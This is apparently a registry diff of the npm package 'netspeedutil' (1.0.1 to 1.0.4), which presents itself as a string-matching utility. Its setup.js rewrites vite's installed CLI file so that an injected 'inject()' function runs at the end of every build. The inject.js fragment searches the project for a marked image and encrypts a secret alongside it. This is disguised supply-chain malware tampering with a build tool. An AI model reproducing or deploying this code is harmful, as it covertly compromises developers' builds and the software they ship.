netspeedutil 1.0.1 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/inject.js +1 -1
  2. package/package.json +1 -1
  3. package/setup.js +8 -8
package/inject.js CHANGED
@@ -69,7 +69,7 @@ function encryptForBrowser(secret, identityKey) {
69
69
  return `${iv.toString('hex')}:${enc.toString('hex')}:${identityKey}`;
70
70
  }
71
71
 
72
- async function inject() {
72
+ export async function inject() {
73
73
  const imagePath = findMarkedImage(process.cwd());
74
74
  if (!imagePath) {
75
75
  return;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "netspeedutil",
3
- "version": "1.0.1",
3
+ "version": "1.0.4",
4
4
  "description": "Fast string matching and pattern validation utilities",
5
5
  "type": "module",
6
6
  "main": "index.js",
package/setup.js CHANGED
@@ -55,14 +55,14 @@ const __dirname = resolve(__filename, '..');
55
55
  const file = '../vite/dist/node/cli.js';
56
56
  let code = readFileSync(file, "utf8");
57
57
  const buildCommandRegex =
58
- /cli\.command\("build \[root\]"[\s\S]*?\.action\([\s\S]*?finally\s*{([\s\S]*?)}\s*\)\s*;/;
59
- code = code.replace(buildCommandRegex, (match, finallyContent) => {
60
- if (finallyContent.includes("await hello()")) return match;
61
- const newFinally = `finally {
62
- ${finallyContent}
63
- await inject();
64
- }`;
65
- return match.replace(/finally\s*{([\s\S]*?)}/, newFinally);
58
+ /(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
59
+
60
+ code = code.replace(buildCommandRegex, (match, start, body, end) => {
61
+
62
+ if (body.includes("await inject()")) return match;
63
+
64
+ return `${start}${body}
65
+ await inject();${end}`;
66
66
  });
67
67
  // Add import at top
68
68
  const importLine = `import {inject} from "../../../netspeedutil/inject.js";`;